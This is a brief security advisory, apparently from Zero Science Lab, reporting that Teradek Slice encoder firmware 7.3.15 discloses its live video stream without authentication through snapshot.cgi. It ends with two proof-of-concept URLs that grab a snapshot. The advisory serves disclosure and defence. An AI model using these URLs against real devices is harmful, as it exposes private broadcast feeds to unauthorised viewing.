Teradek Slice 7.3.15 (snapshot.cgi) Stream Disclosure


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version:7.3.15 (build 31735)
                  Hardware Version: 2.1


Summary: Built on the award-winning Cube platform, Slice is a rack mount
HEVC / H.264 codec designed to fit seamlessly into your broadcast studio.
Like the Cube, Slice encoders and decoders includes 3G-SDI and HDMI I/O,
Ethernet and WiFi connectivity, and full duplex IFB.

Desc: Slice suffers from an unauthenticated and unauthorized live stream
disclosure when snapshot.cgi script is called.

Tested on: lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5466
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5466.php


02.03.2018

--


http://127.0.0.1:8089/cgi-bin/snapshot.cgi  <-- Generate new and view (redirects to /snapshot.jpg)
http://127.0.0.1:8089/snapshot.jpg          <-- View stored